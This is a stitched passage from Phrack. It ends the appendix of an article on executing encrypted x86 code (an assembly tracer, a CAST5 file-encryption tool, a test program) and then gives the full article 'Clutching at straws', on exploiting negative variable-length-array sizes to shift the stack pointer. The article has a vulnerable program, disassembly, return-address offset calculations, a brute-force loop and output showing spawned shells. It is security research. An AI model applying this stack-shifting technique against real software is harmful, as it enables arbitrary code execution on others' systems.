The CONTEXT upon entry on each emulation routine: eax : start of decrypted (CURRENT) insn addr to execute ilen : instruction length in bytes

stack top ‑> [traced: eflags edi esi ebp esp ebx edx ecx eax] traced_esp : original program's esp

traced_eip : eip of next insn to execute (NOT of CURRENT insn!) */

_unhandled:

/*

Unhandled opcodes not normally generated by compiler. Once proper emulation routine is written, they become handled :)

Executing privileged instruction, such as HLT, is the easiest way to terminate the program. %eax holds the address of the instruction we were trying to trace so it can be observed from debugger. */

hlt

_nonjump:

/*

Common emulation for all non‑control transfer instructions. Instruction buffer (insn) is already filled with decrypted blocks.

Decrypted instruction can begin in the middle of insn buffer, so the relative jmp instruction is adjusted to jump to the traced insn, skipping 'junk' at the beginning of insn.

When the instruction is executed, our execution continues at location where 'continue' points to. Normally, this is decryptloop, but occasionaly it is temporarily changed (e.g. in _grp5). */

subl $insn, %eax /* insn begin within insn buffer */

movb %al, .execute+1 /* update jmp instruction */

RESTORE_TRACED_CONTEXT

.execute:

jmp insn /* relative, only offset adjusted */

insn:

.fill 32, 1, 0x90

_jcc_rel8:

/*

Relative 8‑bit displacement conditional jump. It is handled by relative 32‑bit displacement jump, once offset is adjusted. Opcode must also be adjusted: short jumps are 0x70‑0x7F, long jumps are 0x0F 0x80‑0x8F. (conditions correspond directly). Converting short to long jump needs adding 0x10 to 2nd opcode.

*/

movsbl 1(%eax), %ebx /* load sign‑extended offset */

movb (%eax), %cl /* load instruction */

addb $0x10, %cl /* adjust opcode to long form */

/* drop processing to _jcc_rel32 as 32‑bit displacement */

_jcc_rel32:

/*

Emulate 32‑bit conditional relative jump. We pop the traced flags, let the Jcc instruction execute natively, and then adjust traced eip ourselves, depending whether Jcc was taken or not.

CONTEXT:

ebx: jump offset, sign‑extended to 32 bits

cl : real 2nd opcode of the instruction (1st is 0x0F escape) */

movb %cl, ._jcc_rel32_insn+1 /* store opcode to instruction */

popf /* restore traced flags */

._jcc_rel32_insn:

/*

Explicit coding of 32‑bit relative conditional jump. It is executed with the traced flags. Also the jump offset (32 bit) is supplied. */

.byte 0x0F, 0x80

.long ._jcc_rel32_true ‑ ._jcc_rel32_false

._jcc_rel32_false:

/*

The Jcc condition was false. Just save traced flags and continue to next instruction.

*/

pushf

jmp decryptloop_nocontext

._jcc_rel32_true:

/*

The Jcc condition was true. Traced flags are saved, and then the execution falls through to the common eip offset‑adjusting routine. */

pushf

rel_offset_fixup:

/*

Common entry point to fix up traced eip for relative control‑flow instructions.

CONTEXT:

traced_eip: already advanced to the would‑be next instruction. this is done in decrypt_loop before transferring control to any insn‑handler.

ebx : sign‑extended 32‑bit offset to add to eip */

addl %ebx, traced_eip

jmp decryptloop_nocontext

_retn:

/*

Near return (without imm16). This is the place where the end‑of trace condition is checked. If, at this point, esp equals end_esp, this means that the crypt_exec would return to its caller. */

movl traced_esp, %ebp /* compare curr traced esp to esp */

cmpl %ebp, end_esp /* when crypt_exec caller's return */

je ._endtrace /* address was on top of the stack */

/*

Not equal, emulate ret.

*/

movl %esp, %ebp /* save our current stack */

movl traced_esp, %esp /* get traced stack */

popl traced_eip /* pop return address */

movl %esp, traced_esp /* write back traced stack */

movl %ebp, %esp /* restore our current stack */

jmp decryptloop_nocontext

._endtrace:

/*

Here the traced context is completely restored and RET is executed natively. Our tracing routine is no longer in control after RET. Regarding C calling convention, the caller of crypt_exec will get the return value of traced function.

One detail we must watch for: the stack now looks like this:

stack top ‑> [ ret_addr ...args ]

but we have been called like this:

stack top ‑> [ ret_addr dfn key lo_addr hi_addr addr ...args ]

and this is what compiler expects when popping arg list. So we must fix the stack. The stack pointer can be just adjusted by ‑20 instead of reconstructing the previous state because C functions are free to modify their arguments.

CONTEXT:

ebp: current traced esp

*/

movl (%ebp), %ebx /* return address */

subl $20, %ebp /* fake 5 extra args */

movl %ebx, (%ebp) /* put ret addr on top of stack */

movl %ebp, traced_esp /* store adjusted stack */

RESTORE_TRACED_CONTEXT

ret /* return without regaining control */

/*

LOOPNE, LOOPE and LOOP instructions are executed from the common handler (_doloop). Only the instruction opcode is written from separate handlers.

28 is the offset of traced ecx register that is saved on our stack. */

_loopne:

movb $0xE0, ._loop_insn /* loopne opcode */

jmp ._doloop

_loope:

movb $0xE1, ._loop_insn /* loope opcode */

jmp ._doloop

_loop:

movb $0xE2, ._loop_insn /* loop opcode */

._doloop:

/*

* Get traced context that is relevant for LOOP* execution: signed * offset, traced ecx and traced flags.

*/

movsbl 1(%eax), %ebx

movl 28(%esp), %ecx

popf

._loop_insn:

/*

Explicit coding of loop instruction and offset.

*/

.byte 0xE0 /* LOOP* opcodes: E0, E1, E2 */

.byte ._loop_insn_true ‑ ._loop_insn_false

._loop_insn_false:

/*

LOOP* condition false. Save only modified context (flags and ecx) and continue tracing.

*/

pushf

movl %ecx, 28(%esp)

jmp decryptloop_nocontext

._loop_insn_true:

/*

LOOP* condition true. Save only modified context, and jump to the rel_offset_fixup to fix up traced eip.

*/

pushf

movl %ecx, 28(%esp)

jmp rel_offset_fixup

_jcxz:

/*

JCXZ. This is easier to simulate than to natively execute. */

movsbl 1(%eax), %ebx /* get signed offset */

cmpl $0, 28(%esp) /* test traced ecx for 0 */

jz rel_offset_fixup /* if so, fix up traced EIP */

jmp decryptloop_nocontext

_callrel:

/*

Relative CALL.

*/

movb $1, %cl /* 1 to indicates relative call */

movl 1(%eax), %ebx /* get offset */

_call:

/*

CALL emulation.

CONTEXT:

cl : relative/absolute indicator.

ebx: absolute address (cl==0) or relative offset (cl!=0). */

movl %esp, %ebp /* save our stack */

movl traced_esp, %esp /* push traced eip onto */

pushl traced_eip /* traced stack */

movl %esp, traced_esp /* write back traced stack */

movl %ebp, %esp /* restore our stack */

testb %cl, %cl /* if not zero, then it is a */

jnz rel_offset_fixup /* relative call */

movl %ebx, traced_eip /* store dst eip */

jmp decryptloop_nocontext /* continue execution */

_jmp_rel8:

/*

Relative 8‑bit displacement JMP.

*/

movsbl 1(%eax), %ebx /* get signed offset */

jmp rel_offset_fixup

_jmp_rel32:

/*

Relative 32‑bit displacement JMP.

*/

movl 1(%eax), %ebx /* get offset */

jmp rel_offset_fixup

_grp5:

/*

This is the case for 0xFF opcode which escapes to GRP5: the real instruction opcode is hidden in bits 5, 4, and 3 of the modR/M byte. */

movb MODRM+disbuf, %bl /* get modRM byte */

shr $3, %bl /* shift bits 3‑5 to 0‑2 */

andb $7, %bl /* and test only bits 0‑2 */

cmpb $2, %bl /* < 2, not control transfer */

jb _nonjump

cmpb $5, %bl /* > 5, not control transfer */

ja _nonjump

cmpb $3, %bl /* CALL FAR */

je _unhandled

cmpb $5, %bl /* JMP FAR */

je _unhandled

movb %bl, %dl /* for future reference */

/*

modR/M equals 2 or 4 (near CALL or JMP).

In this case the reg field of modR/M (bits 3‑5) is the part of instruction opcode.

Replace instruction byte 0xFF with 0x8B (MOV r/m32 to reg32 opcode). Replace reg field with 3 (ebx register index).

*/

movb $0x8B, (%eax) /* replace with MOV_to_reg32 opcode */

movb 1(%eax), %bl /* get modR/M byte */

andb $0xC7, %bl /* mask bits 3‑5 */

orb $0x18, %bl /* set them to 011=3: ebx reg index */

movb %bl, 1(%eax) /* set MOV target to ebx */

/*

We temporarily update continue location to continue execution in this code instead of jumping to decryptloop. We execute MOV in TRACED context because it must use traced registers for address calculation. Before that we save OUR esp so that original TRACED context isn't lost (MOV updates ebx, traced CALL wouldn't mess with any registers).

First we save OUR context, but after that we must restore TRACED ctx. In order to do that, we must adjust esp to point to traced context before restoration.

*/

movl $._grp5_continue, continue

movl %esp, %ebp /* save traced context pointer into ebp */

pusha /* store our context; eflags irrelevant */

movl %esp, our_esp /* our context pointer */

movl %ebp, %esp /* adjust traced context pointer */

jmp _nonjump

._grp5_continue:

/*

This is where execution continues after MOV calculates effective address for us.

CONTEXT upon entry:

ebx: target address where traced execution should continue dl : opcode part (bits 3‑5) of modR/M, shifted to bits 0‑2 */

movl $decryptloop, continue /* restore continue location */

movl our_esp, %esp /* restore our esp */

movl %ebx, 16(%esp) /* so that ebx is restored anew */

popa /* our context along with new ebx */

cmpb $2, %dl /* CALL near indirect */

je ._grp5_call

movl %ebx, traced_eip /* JMP near indirect */

jmp decryptloop_nocontext

._grp5_call:

xorb %cl, %cl /* mark: addr in ebx is absolute */

jmp _call

_0xf:

/*

0x0F opcode esacpe for two‑byte opcodes. Only 0F 0x80‑0x8F range are Jcc rel32 instructions. Others are normal instructions. */

movb OPCODE2+disbuf, %cl /* extended opcode */

cmpb $0x80, %cl

jb _nonjump /* < 0x80, not Jcc */

cmpb $0x8F, %cl

ja _nonjump /* > 0x8F, not Jcc */

movl 2(%eax), %ebx /* load 32‑bit offset */

jmp _jcc_rel32

control_table:

/*

This is the jump table for instruction execution dispatch. When the real opcode of the instruction is found, the tracer jumps indirectly to execution routine based on this table.

*/

.rept 0x0F /* 0x00 ‑ 0x0E */

.long _nonjump /* normal opcodes */

.endr

.long _0xf /* 0x0F two‑byte escape */

.rept 0x60 /* 0x10 ‑ 0x6F */

.long _nonjump /* normal opcodes */

.endr

.rept 0x10 /* 0x70 ‑ 0x7F */

.long _jcc_rel8 /* relative 8‑bit displacement */

.endr

.rept 0x10 /* 0x80 ‑ 0x8F */

.long _nonjump /* long displ jump handled from */

.endr /* _0xf opcode escape */

.rept 0x0A /* 0x90 ‑ 0x99 */

.long _nonjump

.endr

.long _unhandled /* 0x9A: far call to full pointer */

.rept 0x05 /* 0x9B ‑ 0x9F */

.long _nonjump

.endr

.rept 0x20 /* 0xA0 ‑ 0xBF */

.long _nonjump

.endr

.long _nonjump, _nonjump /* 0xC0, 0xC1 */

.long _unhandled /* 0xC2: retn imm16 */

.long _retn /* 0xC3: retn */

.rept 0x06 /* 0xC4 ‑ 0xC9 */

.long _nonjump

.endr

.long _unhandled, _unhandled /* 0xCA, 0xCB : far ret */

.rept 0x04

.long _nonjump

.endr

.rept 0x10 /* 0xD0 ‑ 0xDF */

.long _nonjump

.endr

.long _loopne, _loope /* 0xE0, 0xE1 */

.long _loop, _jcxz /* 0xE2, 0xE3 */

.rept 0x04 /* 0xE4 ‑ 0xE7 */

.long _nonjump

.endr

.long _callrel /* 0xE8 */

.long _jmp_rel32 /* 0xE9 */

.long _unhandled /* far jump to full pointer */

.long _jmp_rel8 /* 0xEB */

.rept 0x04 /* 0xEC ‑ 0xEF */

.long _nonjump

.endr

.rept 0x0F /* 0xF0 ‑ 0xFE */

.long _nonjump

.endr

.long _grp5 /* 0xFF: group 5 instructions */

.data

continue: .long decryptloop /* where to continue after 1 insn */

.bss

.align 4

traced_esp: .long 0 /* traced esp */

traced_eip: .long 0 /* traced eip */

traced_ctr: .long 0 /* incremented by 1 for each insn */

lo_addr: .long 0 /* low encrypted eip */

hi_addr: .long 0 /* high encrypted eip */

our_esp: .long 0 /* our esp... */

end_esp: .long 0 /* esp when we should stop tracing */

local_stk: .fill 1024, 4, 0 /* local stack space (to call C) */

stk_end = . /* we need this.. */

ilen: .long 0 /* instruction length */

key: .long 0 /* pointer to key data */

decrypt: .long 0 /* USED decryption function */

r_decrypt: .long 0 /* REAL decryption function */

disbuf: .fill 128, 1, 0 /* xde disassembly buffer */

‑‑‑‑[ A.2 ‑ The file encryption utility source: cryptfile.c

/*

Copyright (c) 2004 Zeljko Vrba

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

*/

/*

* This program encrypts a portion of the file, writing new file with * .crypt appended. The permissions (execute, et al) are NOT preserved! * The blocksize of 8 bytes is hardcoded.

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <errno.h>

#include "cast5.h"

#define BLOCKSIZE 8

#define KEYSIZE 16

typedef void (*cryptblock_f)(void*, u8*, const u8*);

static unsigned char *decode_hex_key(char *hex)

{

static unsigned char key[KEYSIZE];

int i;

if(strlen(hex) != KEYSIZE << 1) {

fprintf(stderr, "KEY must have EXACTLY %d hex digits.\n", KEYSIZE << 1);

exit(1);

}

for(i = 0; i < KEYSIZE; i++, hex += 2) {

unsigned int x;

char old = hex[2];

hex[2] = 0;

if(sscanf(hex, "%02x", &x) != 1) { fprintf(stderr, "non‑hex digit in KEY.\n"); exit(1);

}

hex[2] = old;

key[i] = x;

}

return key;

}

static void *docrypt(

FILE *in, FILE *out,

long startoff, long endoff,

cryptblock_f crypt, void *ctx)

{

char buf[BLOCKSIZE], enc[BLOCKSIZE];

long curroff = 0;

size_t nread = 0;

while((nread = fread(buf, 1, BLOCKSIZE, in)) > 0) { long diff = startoff ‑ curroff;

if((diff < BLOCKSIZE) && (diff > 0)) {

/*

this handles the following mis‑alignment (each . is 1 byte)

...[..|......]....

^ ^ ^ curoff+BLOCKSIZE

| startoff

curroff

*/

if(fwrite(buf, 1, diff, out) < diff) { perror("fwrite");

exit(1);

}

memmove(buf, buf + diff, BLOCKSIZE ‑ diff); fread(buf + BLOCKSIZE ‑ diff, 1, diff, in); curroff = startoff;

}

if((curroff >= startoff) && (curroff < endoff)) { crypt(ctx, enc, buf);

} else {

memcpy(enc, buf, BLOCKSIZE);

}

if(fwrite(enc, 1, nread, out) < nread) { perror("fwrite");

exit(1);

}

curroff += nread;

}

}

int main(int argc, char **argv)

{

FILE *in, *out;

long startoff, endoff;

char outfname[256];

unsigned char *key;

struct cast5_ctx ctx;

cryptblock_f mode;

if(argc != 6) {

fprintf(stderr, "USAGE: %s <‑e|‑d> FILE KEY STARTOFF ENDOFF\n", argv[0]);

fprintf(stderr, "KEY MUST be 32 hex digits (128 bits).\n"); return 1;

}

if(!strcmp(argv[1], "‑e")) {

mode = cast5_encrypt;

} else if(!strcmp(argv[1], "‑d")) {

mode = cast5_decrypt;

} else {

fprintf(stderr, "invalid mode (must be either ‑e od ‑d)\n"); return 1;

}

startoff = atol(argv[4]);

endoff = atol(argv[5]);

key = decode_hex_key(argv[3]);

if(cast5_setkey(&ctx, key, KEYSIZE) < 0) { fprintf(stderr, "error setting key (maybe invalid length)\n"); return 1;

}

if((endoff ‑ startoff) & (BLOCKSIZE‑1)) { fprintf(stderr, "STARTOFF and ENDOFF must span an exact multiple" " of %d bytes\n", BLOCKSIZE);

return 1;

}

if((endoff ‑ startoff) < BLOCKSIZE) { fprintf(stderr, "STARTOFF and ENDOFF must span at least" " %d bytes\n", BLOCKSIZE);

return 1;

}

sprintf(outfname, "%s.crypt", argv[2]);

if(!(in = fopen(argv[2], "r"))) {

fprintf(stderr, "fopen(%s): %s\n", argv[2], strerror(errno)); return 1;

}

if(!(out = fopen(outfname, "w"))) { fprintf(stderr, "fopen(%s): %s\n", outfname, strerror(errno)); return 1;

}

docrypt(in, out, startoff, endoff, mode, &ctx);

fclose(in);

fclose(out);

return 0;

}

‑‑‑‑[ A.3 ‑ The test program: test2.c

/*

Copyright (c) 2004 Zeljko Vrba

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include "cast5.h"

#define BLOCKSIZE 8

#define KEYSIZE 16

/*

* f1 and f2 are encrypted with the following 128‑bit key:

* 5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of the string 'password') */

static int f1(int a)

{

int i, s = 0;

for(i = 0; i < a; i++) {

s += i*i;

}

printf("called plaintext code: f1 = %d\n", a);

return s;

}

static int f2(int a, int b)

{

int i;

a = f1(a);

for(i = 0; i < b; i++) {

a += b;

}

return a;

}

static unsigned char *decode_hex_key(char *hex)

{

static unsigned char key[KEYSIZE];

int i;

if(strlen(hex) != KEYSIZE << 1) {

fprintf(stderr, "KEY must have EXACTLY %d hex digits.\n", KEYSIZE << 1);

exit(1);

}

for(i = 0; i < KEYSIZE; i++, hex += 2) {

unsigned int x;

char old = hex[2];

hex[2] = 0;

if(sscanf(hex, "%02x", &x) != 1) { fprintf(stderr, "non‑hex digit in KEY.\n"); exit(1);

}

hex[2] = old;

key[i] = x;

}

return key;

}

int main(int argc, char **argv)

{

int a, b, result;

char op[16], hex[256];

void *esp;

struct cast5_ctx ctx;

printf("enter decryption key: ");

scanf("%255s", hex);

if(cast5_setkey(&ctx, decode_hex_key(hex), KEYSIZE) < 0) { fprintf(stderr, "error setting key.\n"); return 1;

}

printf("a b = "); scanf("%d %d", &a, &b);

asm("movl %%esp, %0" : "=m" (esp));

printf("esp=%p\n", esp);

result = crypt_exec(cast5_decrypt, &ctx, f1, decode_hex_key, f2, a, b);

asm("movl %%esp, %0" : "=m" (esp));

printf("esp=%p\n", esp);

printf("result = %d\n", result);

return 0;

Shifting the Stack Pointer

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x0e of 0x14

|=‑‑‑‑=[ Clutching at straws: When you can shift the stack pointer ]=‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑=[ Andrew Griffiths <andrewg@felinemenace.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Table of contents

1 ‑ Introduction

2 ‑ The story

2.1 ‑ C99 standard note

3 ‑ Breakdown

4 ‑ Moving on

4.1 ‑ Requirements for exploitability

5 ‑ Links

6 ‑ Finishing up

‑‑[ 1 ‑ Introduction

The paper documents a rare, but none‑the less interesting bug in variable sized arrays in C. This condition appears when a user supplied length is passed via a parameter to a variable declaration in a function.

As a result of this, an attacker may be able to "shift" the stack pointer to point it to somewhere unexpected, such as above the stack pointer, or somewhere else like the Global Offset Table.

‑‑[ 2 ‑ The story

After playing a couple rounds of pool and drinking at a local pub, nemo talked about some of the fruits after the days auditing session. He mentioned that there was some interesting code constructs which he hadn't fully explored yet (perhaps because I dragged him out drinking).

Basically, the code vaguely looked like:

int function(int len, some_other_args)

{

int a;

struct whatever *b;

unsigned long c[len];

if(len > SOME_DEFINE) {

return ERROR;

}

/* rest of the code */

}

and we started discussing about that, and how we could take advantage of that. After various talks about the compiler emitting code that wouldn't allow it, architectures that it'd work on (and caveats of those architectures), and of course, another round or two drinks, we came to the conclusion that it'd be perfectly feasible to exploit, and it would be a standard esp ‑= user_supplied_value;

The problem in the above code, is that if len is user‑supplied it would be possible to make it negative, and move the stack pointer move closer to the top of the stack, as opposed to closer to the bottom (assuming the stack grows down.)

‑‑‑‑[ 2.1 ‑ C99 standard note

The C99 standard allows for variable‑length array declaration:

To quote,

"In this example, the size of a variable‑length array is computed and returned from a function:

size_t fsize3 (int n)

{

char b[n+3]; //Variable length array.

return sizeof b; // Execution timesizeof.

}

int main()

{

size_t size;

size = fsize3(10); // fsize3 returns 13.

return 0;

}"

‑‑[ 3 ‑ Break down

Here is the (convoluted) C file we'll be using as an example. We'll cover more things later on in the article.

#include <stdlib.h>

#include <unistd.h>

#include <stdio.h>

#include <string.h>

#include <sys/types.h>

int func(int len, char *stuff)

{

char x[len];

printf("sizeof(x): %d\n", sizeof(x));

strncpy(x, stuff, 4);

return 58;

}

int main(int argc, char **argv)

{

return func(atoi(argv[1]), argv[2]);

}

The question arises though, what instructions does the compiler generate for the func function?

Here is the resulting disassembly from "gcc version 3.3.5 (Debian 1:3.3.5‑8ubuntu2)", gcc dmeiswrong.c ‑o dmeiswrong.

080483f4 <func>:

80483f4: 55 push %ebp

80483f5: 89 e5 mov %esp,%ebp ; standard function

prologue

80483f7: 56 push %esi

80483f8: 53 push %ebx ; preserve the appropriate

register contents.

80483f9: 83 ec 10 sub $0x10,%esp ; setup local

variables

80483fc: 89 e6 mov %esp,%esi ; preserve the esp

register

80483fe: 8b 55 08 mov 0x8(%ebp),%edx ; get the length 8048401: 4a dec %edx; decrement it 8048402: 8d 42 01 lea 0x1(%edx),%eax ; eax = edx + 1 8048405: 83 c0 0f add $0xf,%eax

8048408: c1 e8 04 shr $0x4,%eax

804840b: c1 e0 04 shl $0x4,%eax

The last three lines are eax = (((eax + 15) >> 4) << 4); This rounds up and aligns eax to a paragraph boundary.

804840e: 29 c4 sub %eax,%esp ; adjust esp 8048410: 8d 5c 24 0c lea 0xc(%esp),%ebx ; ebx = esp + 12 8048414: 8d 42 01 lea 0x1(%edx),%eax ; eax = edx + 1 8048417: 89 44 24 04 mov %eax,0x4(%esp) ; len argument 804841b: c7 04 24 78 85 04 08 movl $0x8048578,(%esp) ; fmt string

sizeof(x): %d\n"

8048422: e8 d9 fe ff ff call 8048300 <_init+0x3c> ; printf

8048427: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp) ; len arg to

804842e: 00 strncpy

804842f: 8b 45 0c mov 0xc(%ebp),%eax

8048432: 89 44 24 04 mov %eax,0x4(%esp) ; data to copy 8048436: 89 1c 24 mov %ebx,(%esp) ; where to write

; ebx = adjusted esp + 12 (see 0x8048410)

8048439: e8 e2 fe ff ff call 8048320 <_init+0x5c> ; strncpy 804843e: 89 f4 mov %esi,%esp ; restore esp 8048440: b8 3a 00 00 00 mov $0x3a,%eax ; ready to return 58 8048445: 8d 65 f8 lea 0xfffffff8(%ebp),%esp ; we restore esp again, just in case it

; didn't happen in the first place.

8048448: 5b pop %ebx

8048449: 5e pop %esi

804844a: 5d pop %ebp

804844b: c3 ret ; restore registers and return.

What can we learn from the above assembly output?

1) There is some rounding done on the supplied value, thus meaning small negative values (‑15 > ‑1) and small values (1 ‑ 15) will become 0. This might possibly be useful, as we'll see below.

When the supplied value is ‑16 or less, then it will be possible to move the stack pointer backwards (closer to the top of the stack).

The instruction sub $eax, %esp at 0x804840e can be seen as add $16, %esp when len is ‑16.[1]

2) The stack pointer is subtracted by the paragraph‑aligned supplied value.

Since we can supply an almost arbitary value to this, we can point the stack pointer at a specified paragraph.

If the stack pointer value is known, we can calcuate the offset needed to point the stack at that location in memory. This allows us to modify writable sections such as the GOT and heap.

3) gcc can output some wierd assembly constructs.

‑‑[ 4 ‑ Moving on

So what does the stack diagram look like in this case? When we reach 0x804840e (sub esp, eax) this is how it looks.

+‑‑‑‑‑‑‑‑‑‑‑‑+

0xc0000000 | ...... | Top of stack.

| ...... |

0xbffff86c| 0x08048482 | Return address

0xbffff868| 0xbffff878 | Saved EBP

0xbffff864| ...... | Saved ESI

0xbffff860| ...... | Saved EBX

0xbffff85c| ...... | Local variable space

0xbffff858| ...... | Local variable space

0xbffff854| ...... | Local variable space

0xbffff850 +‑‑‑‑‑‑‑‑‑‑‑‑+ ESP

To overwrite the saved return address, we need to calculate what to make it subtract by.

delta = 0xbffff86c ‑ 0xbffff850

delta = 28

We need to subtract 12 from our delta value because of the instruction at 0x08048410 (lea 0xc(%esp),%ebx) so we end up with 16.

If the adjusted delta was less than 16 we would end up overwriting 0xbffff85c, due to the paragraph alignment. Depending what is in that memory location denotes how useful it is. In this particular case its not. If we could write more than 4 bytes, it could be useful.

When we set ‑16 AAAA as the arguments to dmeiswrong, we get:

andrewg@supernova:~/papers/straws$ gdb ‑q ./dmeiswrong

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) set args ‑16 AAAA

(gdb) r

Starting program: /home/andrewg/papers/straws/dmeiswrong ‑16 AAAA sizeof(x): ‑16

Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()

Based with the above information, an exploit can be written for dmeiswrong.c. See the attached file iyndwacyndwm.c for more information.

The attached exploit code (iyndwacyndwm.c) works on my system (gcc version: Debian 1:3.3.5‑8ubuntu2, kernel: Linux supernova 2.6.10‑5‑686 #1 Fri Jun 24 17:33:34 UTC 2005 i686 GNU/Linux) with success.

It may fail on the readers machine due to different initial stack layout, and different compiler options / generated code. You may need to play a bit with gdb a bit to get it working. However, this technique should work fine for other people, they may just need to play around a bit to get it working as expected.

To get it working for your system, have a look at what causes a segfault (this can be achieved with a simple

"for i in `seq 0 ‑4 ‑128` ; do ./dmeiswrong $i AAAA ; done"

loop and seeing if the offset segfaults. The attached Makefile implements this loop for you when you type make bf. You can then replay the offset and args in GDB to see if EIP is pointing to 0x41414141.

Then its a matter of getting the stack layout correct for so the exploit will run. In the included exploit, I've made it so it tries to determine the exact offset to where the shellcode starts. This technique is further explained in [2]. Otherwise, this technique could be done via examining the heap layout at "_start" (entry point of the executable) and looking at what is in memory from the top, and seeing the offset, as its quite possible that things have been moved around during different kernel releases.

In order to make it easier for people to play around with this technique, I've included a precompiled dmeiswrong and iyndwacyndwm files, which hopefully demonstate the problem. If iyndwacyndwm does not work for you, try iyndwacyndwm‑lame which tries the standard "pick an offset from some value (like esp)" technique to try and gain code execution on the host.

I haven't performed a wide scale test against vulnerable compilers, but due to the code construct compilers would be most likely to emit, I suspect a majority of compilers which support variable sized stack arrays to be vulnerable. Thos which wouldn't be vulnerable would be those which include code to verify if this is not a problem during runtime.

Exploitability of this type of bug appears to be feasible on other architectures, such as PPC, as I was able to get it to crash with $pc being something not of my choice. (such as, 0x6f662878, and sometimes $pc would be pointing at an invalid instruction on the stack). This was done via just incrementing the value passed as the len by 4 in a loop. Make bf should point out the exploitable architectures as they should crash (eventually.)

I didn't have enough time to look into this further as the time to submit the final paper drew to close, and PPC assembly and MacOSX are not my strongest skills.

‑‑[ 4.1 ‑ Requirements for exploitability

In order for an architecture / Operating System to be exploitable, the architecture needs to support having a stack which can be moved about. If the stack contains embedded flow control information, such as saved return addresses, it makes it significantly easier to exploit, and partially less dependant on what value the stack pointer contains. This in turn increases reliability in exploits, especially remote ones.

Additionally, the compiler needs to:

‑ support variable sized stack arrays (which as demonstrated above, is a feature of the C99 standard)

‑ not emit code that performs sanity checking of the changed stack pointer. It is forseeable that if this issue gets a lot of public attention, that various compiler security patches (such as pro‑police, stackguard, so fourth) will add detection of this issue.

The direction the stack grows is not that relevant to the problem, as if the x86 stack grew upwards, the instruction at 0x804840e, would be written as addl %eax, %esp, and given the parameter len as ‑16 would could be rewritten as subl $16, %esp, which would allow access to the saved eip and saved frame pointer, amongst other things.

The attached Makefile has a "bf" option which should allow you to test if your architecture is vulnerable. In order to make this work as expected, you'll need to supply the top of the stack for your architecture, and a proper shellcode. A recommended test shellcode is the trap instruction (int3 on x86, trap on ppc) which generates a particular signature when the code is executed.

The output from the make bf command on my laptop is as follows:

andrewg@supernova:~/papers/straws/src$ make bf

for i in `seq 0 ‑4 ‑256` ; do ./iyndwacyndwm‑lame $i ; done sizeof(x): 0

sizeof(x): ‑4

sizeof(x): ‑8

sizeof(x): ‑12

sizeof(x): ‑16

sh‑3.00$ exit

sizeof(x): ‑20

sh‑3.00$ exit

sizeof(x): ‑24

sh‑3.00$ exit

sizeof(x): ‑28

sh‑3.00$ exit

sizeof(x): ‑32

/bin/sh: line 1: 16640 Segmentation fault ./iyndwacyndwm‑lame $i sizeof(x): ‑36

[ snipped a bunch of Segmentation fault messages ]

/bin/sh: line 1: 16648 Floating point exception./iyndwacyndwm‑lame $i sizeof(x): ‑68

/bin/sh: line 1: 16649 Floating point exception./iyndwacyndwm‑lame $i sizeof(x): ‑72

[ snipped a bunch of Floating point exception messages and segv ]

andrewg@supernova:~/papers/straws/src$

The make bf‑trap command generates the following output:

for i in `seq 0 ‑4 ‑256` ; do ./iyndwacyndwm‑lame‑trap $i ; done sizeof(x): 0

sizeof(x): ‑4

sizeof(x): ‑8

sizeof(x): ‑12

sizeof(x): ‑16

/bin/sh: line 1: 16983 Trace/breakpoint trap ./iyndwacyndwm‑lame‑trap $i sizeof(x): ‑20

/bin/sh: line 1: 16984 Trace/breakpoint trap ./iyndwacyndwm‑lame‑trap $i sizeof(x): ‑24

‑‑[ 5 ‑ Links

[1] http://www.eduplace.com/math/mathsteps/6/b/

[2] http://packetstorm.linuxsecurity.com/groups/netric/envpaper.pdf

‑‑[ 6 ‑ Finishing up

I'd like to greet all of the felinemenace people ((in no particular order) nevar, nemo, mercy, ash, kwine, jaguar, circut, nd and n00ne), along with pulltheplug people, especially arcanum.

Random greets to dme, caddis, Moby for his visual basic advice while discussing this problem at the pub, and zen‑parse.

It kinda goes without saying, but I'd like to thank all the people who have supplied feedback for my article.

[ Need a challenge ? ]

[ Visit http://www.pulltheplug.org ]

[ Want to visit Australia and want a reason? ]

